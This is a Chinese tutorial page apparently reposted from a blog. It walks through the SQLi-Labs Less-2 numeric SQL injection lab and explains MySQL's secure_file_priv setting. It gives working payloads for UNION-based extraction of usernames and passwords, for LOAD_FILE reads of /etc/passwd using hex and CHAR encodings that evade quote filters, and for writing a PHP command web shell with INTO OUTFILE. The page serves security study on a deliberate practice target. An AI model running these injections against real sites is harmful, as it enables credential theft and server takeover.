【 ??SQL注入漏洞靶場】第二關文件讀寫

SQLi-Labs?

? ? ? ?它是一個開源的、專門為學習 ??Web安全?? 和 ??SQL注入技術?? 而設計的靶場項目。開發者故意在代碼中留下了各種不同類型的SQL注入漏洞,讓安全研究人員、學生和愛好者可以在一個合法、安全的環境中進行實戰練習,從而掌握發現和利用SQL注入漏洞的技能。

secure_file_priv

? ?MySQL自5.6版本以后引入的一個重要的安全特性。它是一個??系統全局變量??,用于??限制MySQL服務器進行文件導入(LOAD DATA INFILE)和導出(SELECT ... INTO OUTFILE)操作時,可以訪問的目錄范圍??。

? ? ? ?這個設置的主要目的是防止惡意用戶利用MySQL的文件操作功能來讀取或寫入服務器上的敏感文件(如?/etc/passwd、網站源碼等),從而極大地增強了數據庫服務器的安全性。

secure_file_priv的三種狀態及其含義

SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

該命令的返回結果通常為以下三種情況之一,每種情況都有不同的安全含義:

??取值狀態??

??含義??

??安全影響??

??NULL??

??禁止所有文件導入導出操作??

這是??最安全??的配置。意味著您無法使用?SELECT ... INTO OUTFILE或?LOAD DATA INFILE語句。

??空字符串 ('')??

??允許文件導入導出到任意目錄??

這是??最不安全??的配置。MySQL可以對文件系統進行任意讀寫(受操作系統權限限制)。??這是攻擊者最希望看到的狀態。??

??一個目錄路徑??
(如?/tmp/)

??只能向指定目錄進行文件導入導出??

這是一種??折中的安全策略??。文件操作被限制在某個沙箱目錄內,既滿足了功能需求,又大幅降低了風險。


配置?secure_file_priv

? 這個參數需要在MySQL的配置文件(my.cnf或?my.ini)中設置,??無法在運行時通過SQL語句動態修改??。

  • ??Linux系統??:配置文件為?/etc/my.cnf或?/etc/mysql/my.cnf
  • ??Windows系統??:配置文件為?my.ini,位于MySQL的安裝目錄下。

在?[mysqld]配置塊下添加或修改該參數,然后??重啟MySQL服務??才能生效。

??配置示例:?

[mysqld]

secure_file_priv = /var/lib/mysql-files/

要成功利用文件讀寫注入漏洞,??攻擊者需要?secure_file_priv的值為?NULL以外的狀態??。

文件讀(下載)漏洞??:

? ? ? ?利用?SELECT ... INTO OUTFILE語句,將數據庫查詢結果寫入一個文件。如果?secure_file_priv設置為一個可訪問的目錄,攻擊者就可能將敏感數據(如用戶密碼哈希)寫入該目錄下的Web可訪問文件,從而下載它。

SELECT * FROM users INTO OUTFILE '/var/www/html/export.txt';

??文件寫(上傳)漏洞??:

? ? ? 利用?LOAD DATA INFILE語句,將一個文件的內容讀取到數據庫表中。如果配置不當,攻擊者可以上傳一個惡意的Web Shell(如PHP文件)到Web目錄,從而獲取服務器控制權。

LOAD DATA INFILE '/tmp/evil.php' INTO TABLE test_table;

配置值??

??含義解讀??

??安全等級與影響??

??secure_file_priv=??
(值為空)

??對文件讀寫沒有限制??。

???最低(最不安全)??
MySQL 服務可以讀取或寫入服務器操作系統上的任何文件(僅受操作系統本身權限限制)。??此配置會帶來嚴重的安全風險。??

??secure_file_priv=NULL??
(圖片中紅色高亮)

??完全禁止文件導入和導出操作??。

??最高(最安全)??
這是最嚴格的設置。意味著您無法使用?SELECT ... INTO OUTFILE(導出)或?LOAD DATA INFILE(導入)等語句。

??secure_file_priv='D:/path/'??
(指定一個路徑)

??只能對該指定路徑下的文件進行讀寫??。

???推薦(平衡安全與功能)??
這是一種“沙箱”策略。將文件操作限制在一個特定的、非關鍵的目錄內(如圖中的?d:/phpstudy/mysql/data),既滿足了需要文件操作的應用功能,又極大地降低了安全風險。

配置重要性

這個配置是 ??“文件讀寫型SQL注入”?? 漏洞能否被利用的??關鍵前提??。

? ? ? 黑客在發現一個SQL注入點后,如果發現?secure_file_priv沒有設置為?NULL,他們可能會嘗試:??讀取敏感文件??:如數據庫配置文件、系統密碼文件等。寫入惡意文件??:例如,向Web目錄寫入一個PHP木馬(Webshell),從而獲取服務器控制權。因此,將?secure_file_priv設置為?NULL或一個嚴格的受限路徑,是保護數據庫服務器安全的一道??重要防線??。

前置條件

??單引號字符串??:LOAD_FILE('/etc/passwd')

??十六進制編碼??:LOAD_FILE(0x2f6574632f706173737764)0x后跟?/etc/passwd的16進制值,可繞過某些引號過濾)

??CHAR函數轉換??:LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100))(同樣用于繞過過濾)

??路徑斜杠??:必須使用Linux系統路徑分隔符 ??正斜杠?/??(例如?/etc/passwd),而不能使用Windows的反斜杠

常見讀取目標??

  1. MySQL配置文件??:如?my.cnfconfig.php(通常內含數據庫連接密碼)。
  2. 系統敏感文件??:如?/etc/passwd(用戶信息)、Apache配置?httpd.conf
  3. ??Web應用源碼??:通過讀取網站源碼尋找漏洞或敏感信息。
  4. ??INTO OUTFILE??:??特點??:可寫入多行數據,??會執行格式化輸出??(如將字段值以制表符分隔,行以換行符結尾)。非常適合導出查詢結果(如?SELECT * FROM users INTO OUTFILE '/tmp/users.csv')。
  5. ??INTO DUMPFILE??:特點??:??只能寫入一行數據??,且輸出無任何格式(原始數據流)。適用于寫入二進制文件(如DLL、EXE、圖片)或單個字符串。
  6. 路徑限制??:OUTFILE??后面只能接單引號字符串路徑??(如?'/var/www/html/shell.php'),??不能使用十六進制或CHAR轉換??的路徑,這是語法上的硬性規定。

常見寫入目標??

  1. SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

  2. ??數據導出??:將數據庫數據導出到指定文件進行備份或分析。MySQL配置?secure_file_priv??:該系統變量決定了MySQL能否讀寫文件以及可以訪問的目錄。如果其值為?NULL(默認安全配置),則??禁止所有文件讀寫操作??。如果其值為某個路徑(如?/tmp),則只能在該目錄下進行文件讀寫。只有其值為??空??時,才允許進行任意文件讀寫。可通過?SHOW VARIABLES LIKE 'secure_file_priv';命令查看當前配置。
  3. ??WebShell寫入??:在具備可寫權限的Web目錄下寫入PHP等腳本文件,從而獲取服務器控制權。

第二關

首先打開php開啟mysql,一定要5.7版本,打開靶場第二關,本關是 ??數字型注入(Integer-based SQL Injection)?? 的經典關卡。這一關與第一關(字符型注入)的核心區別在于:??參數ID沒有被單引號(')包裹??,因此無需處理引號閉合問題。通關的核心思路是??通過?UNION SELECT語句拼接查詢,直接從數據庫中提取敏感信息??。

攻擊載荷:

1. ??判斷注入點與類型??

首先,確認注入點是數字型,且可注入。

?id=1 and 1=1 --+ 頁面正常 ?id=1 and 1=2 --+ 頁面異常(返回空或錯誤)

如果符合該現象,說明為數字型注入,and 1=2導致條件永假,原查詢無結果。

2. ??判斷當前查詢的字段數(列數)??

使用?ORDER BY子句進行猜測,直到頁面報錯:

?id=1 ORDER BY 1 --+ 正常

?id=1 ORDER BY 2 --+ 正常

?id=1 ORDER BY 3 --+ 正常

?id=1 ORDER BY 4 --+ 錯誤

這說明 ??當前查詢的字段數為 3??。

3. ??確定顯示位??

使用?UNION SELECT來找到頁面中會回顯數據的字段位置:

?id=-1 UNION SELECT 1,2,3 --+

頁面通常會顯示數字?2和?3(或?1,2,3中的某幾個),這兩個數字就是我們可以用來回顯數據的“顯示位”。

4. ??利用顯示位提取信息??

將您想查詢的數據替換到顯示位的位置上。以下是一些常用的Payload:

??查看當前數據庫名與用戶??:

?id=-1 UNION SELECT 1,database(),user() --+

頁面會顯示當前數據庫名稱和數據庫用戶。

??查看所有數據庫名??:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(schema_name) FROM information_schema.schemata --+

??查看當前數據庫的所有表名??:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database() --+

??查看某張表的所有字段名(例如?users表)??:

?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' --+

??最終目標:提取數據(例如?users表中的用戶名和密碼)??

?id=-1 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) FROM users --+

也可以用來文件讀寫

http://localhost/sql/Less-2/index.php?id=-1union select 1,'sfsf',3 into outfile 'd:/1.txt'--+

#第二個字段用來生成文件內容,不用提前創建文件,這條命令會自動創建

#into outfile '文件絕對路徑' --+?

最后可以看到在d盤生成了一個文本文件,字段2里包含了命令內容

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/921681.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/921681.shtml
英文地址,請注明出處:http://en.pswp.cn/news/921681.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

設計藝術~緩存結構設計

背景 面對高QPS場景的業務&#xff0c;不得不考慮對一些數據做緩存設計&#xff0c;常見的緩存設計有這些&#xff1a;DB Proxy緩存、分布式緩存、Localcache緩存。 在考慮加緩存的背景下不考慮數據的一致性&#xff0c;都是瞎扯&#xff0c;所以我們再定義一下數據的一致性場景…

后端開發技術棧

后端開發技術棧核心技術內容平臺 (Content Platform)電商 (E-Commerce)金融科技 (FinTech) / 支付物聯網 (IoT - Internet of Things)游戲后端 (Game Backend)社交平臺搜索平臺企業級應用開發音視頻處理后端地圖與地理位置服務DevOps大數據開發大模型應用開發智能合約開發核心技…

【ICCV2025】計算機視覺|即插即用|ESC:顛覆Transformer!超強平替,ESC模塊性能炸裂!

論文地址&#xff1a;https://arxiv.org/pdf/2503.06671 代碼地址&#xff1a;https://github.com/dslisleedh/ESC 關注UP CV縫合怪&#xff0c;分享最計算機視覺新即插即用模塊&#xff0c;并提供配套的論文資料與代碼。 https://space.bilibili.com/473764881 摘要 本研究…

【面試場景題】如何進行高并發系統的性能測試?

文章目錄一、明確測試目標與指標二、測試環境搭建三、測試工具選型四、測試場景設計五、執行測試與監控六、瓶頸分析與調優七、測試報告與迭代總結高并發系統的性能測試是驗證系統在極限流量下是否能保持穩定運行的關鍵環節&#xff0c;需要結合場景設計、工具選型、指標監控、…

攻防世界ReverseMe-120

這道題比較經典&#xff0c;涉及三個知識點&#xff0c;所以記錄一下。首先給了一個文件&#xff0c;detect it easy看了下&#xff0c;是32位exe。放入ida中&#xff0c;找下main函數&#xff0c;F5反編譯看一下偽代碼。int __cdecl main(int argc, const char **argv, const …

小白也能看懂,HTTP中的文件上傳與下載到底發生了什么?

HTTP 文件傳輸協議解析&#xff1a;上傳與下載 這份文檔會用最簡單的方式&#xff0c;帶你了解 HTTP 協議是如何處理文件下載和上傳的。我們會專注于協議本身&#xff0c;看看客戶端&#xff08;比如你的瀏覽器&#xff09;和服務端&#xff08;網站服務器&#xff09;之間到底…

快速構建數據集-假數據(生成劃分)

快速構建數據集-假數據1、torch.randn&#xff08;?&#xff09;2、HuggingFace Datasets&#xff08;?&#xff09;&#x1f539;1. 從字典生成&#x1f539;2. 從 pandas.DataFrame 生成&#x1f539;3. 批量生成“業務型”假數據&#xff08;配合 Faker&#xff09;&#…

[修訂版]Xenomai/IPIPE源代碼情景解析

[修訂版]Xenomai/IPIPE源代碼情景解析 第一章&#xff1a;Interrupt Pipeline介紹 1.1 I-pipe與Xenomai1.2 I-pipe核心概念1.3 拉取I-pipe代碼 第二章&#xff1a;I-pipe對ARM64異常的改造 2.1 ARM64中斷機制與異常處理2.2 EL0_IRQ 中斷改造之入口2.3 EL0_IRQ 中斷改造之中斷處…

【Qt開發】按鈕類控件(三)-> QCheckBox

目錄 1 -> 概述 2 -> 核心特性 2.1 -> 狀態管理 2.2 -> 信號機制 2.3 -> 外觀與文本 3 -> 應用場景 4 -> 代碼示例 5 -> 總結 1 -> 概述 QCheckBox 是 Qt 框架中提供的一個基礎控件&#xff0c;用于實現復選框功能。它允許用戶在兩種或三種…

在新發布的AI論文中 pytorch 和tensorflow 的使用比例

根據 2025 年最新的學術動態和行業報告&#xff0c;PyTorch 在 AI 論文中的使用比例已占據絕對主導地位&#xff0c;而 TensorFlow 的占比持續下降。以下是基于多個權威來源的綜合分析&#xff1a; 一、頂級會議中的框架分布 在 NeurIPS、ICML、CVPR 等頂級學術會議中&#xff…

3DXML格式是什么?用什么軟件可以打開?

3DXML 是一種開放標準的數據交換格式&#xff0c;主要用于三維 CAD&#xff08;計算機輔助設計&#xff09;模型的存儲和交換。它是由 Dassault Systmes 開發的一種文件格式&#xff0c;常用于 CATIA V6 和其他支持該格式的應用程序中。3DXML 文件可以包含完整的 3D 模型數據&a…

9月8日星期一今日早報簡報微語報早讀

9月8日星期一&#xff0c;農歷七月十七&#xff0c;早報#微語早讀。1、中國火箭與月亮同框&#xff0c;遙感四十號03組衛星發射成功&#xff1b;2、湖南郴州開發區改革&#xff1a;編制數由815名減至680名&#xff0c;精簡16.6%&#xff1b;3、水利部對廣東、廣西啟動洪水防御Ⅳ…

windows系統搭建MQTT服務器

1、MQTT 協議 MQTT協議&#xff1a;實現MQTT協議需要客戶端和服務器端通訊完成。 三種身份: 發布者(Publish)、代理(Broker)(服務器)、訂閱者(Subscribe)。 消息的發布者和訂閱者都是客戶端&#xff0c;消息代理是服務器&#xff0c;消息發布者可以同時是訂閱者。 MQTT&am…

從 GPT 到 LLaMA:解密 LLM 的核心架構——Decoder-Only 模型

&#x1f525;從 GPT 到 LLaMA&#xff1a;解密 LLM 的核心架構——Decoder-Only 模型 “為什么所有大模型&#xff08;LLM&#xff09;都長一個樣&#xff1f;” 因為它們都有一個共同的“基因”——Decoder-Only 架構。 在前面兩節中&#xff0c;我們學習了&#xff1a; BER…

Codeforces Round 1047 (Div. 3)

由于最近這三天的數學建模&#xff0c;讓我這個精力本來就不多的AI手更加力竭了&#xff0c;沒注意到昨晚的cf&#xff0c;所以今天來補題了。 比賽連接&#xff1a;比賽傳送門 A題&#xff1a; You are doing a research paper on the famous Collatz Conjecture. In your e…

C++經典的數據結構與算法之經典算法思想:貪心算法(Greedy)

貪心算法&#xff08;Greedy Algorithm&#xff09;&#xff1a;通過局部最優達成全局最優的決策策略 貪心算法是一種通過每次選擇局部最優解來期望全局最優解的算法思想。它不考慮未來的影響&#xff0c;僅根據當前信息做出最優選擇&#xff0c;適用于具有貪心選擇性質和最優子…

LangChain實戰(二十一):構建自動化AI客服系統

本文是《LangChain實戰課》系列的第二十一篇,將帶領您構建一個完整的自動化AI客服系統。通過結合對話記憶、工具調用和業務知識庫,我們將創建一個能夠處理復雜客戶查詢的智能客服解決方案。 前言 在現代商業環境中,客戶服務是企業成功的關鍵因素之一。傳統客服系統往往面臨…

一人公司智能管理系統概述

系統概述 項目結構 Al_Compny系統采用前后端分離的全棧架構&#xff0c;項目根目錄下包含兩個主要子目錄&#xff1a;Al_Compny_backend&#xff08;后端服務&#xff09;和Al_Compny_frontend&#xff08;前端應用&#xff09;。核心功能模塊 Al_Compny系統是一個面向"一…

OpenWrt | 在 PPP 撥號模式下啟用 IPv6 功能

文章目錄一、WAN 口配置二、LAN 口配置三、IPv6 測試本文將詳細介紹 將光貓的網絡模式改成橋接之后使用路由器撥號的上網方式的情況下&#xff0c;在 OpenWrt 上使用 PPP 撥號模式上網時&#xff0c;啟用 IPv6 功能的方法。 一、WAN 口配置 首先&#xff0c;我們需要在 網絡 …

Java如何實現一個安全的登錄功能?

安全登錄系統完整教程 &#x1f4cb; 目錄 項目概述技術棧安全特性項目結構核心組件詳解安全實現原理部署和運行安全最佳實踐常見問題解答進階擴展 &#x1f3af; 項目概述 這是一個基于Spring Boot和Spring Security的完整安全登錄系統&#xff0c;專為初學者設計&#xff…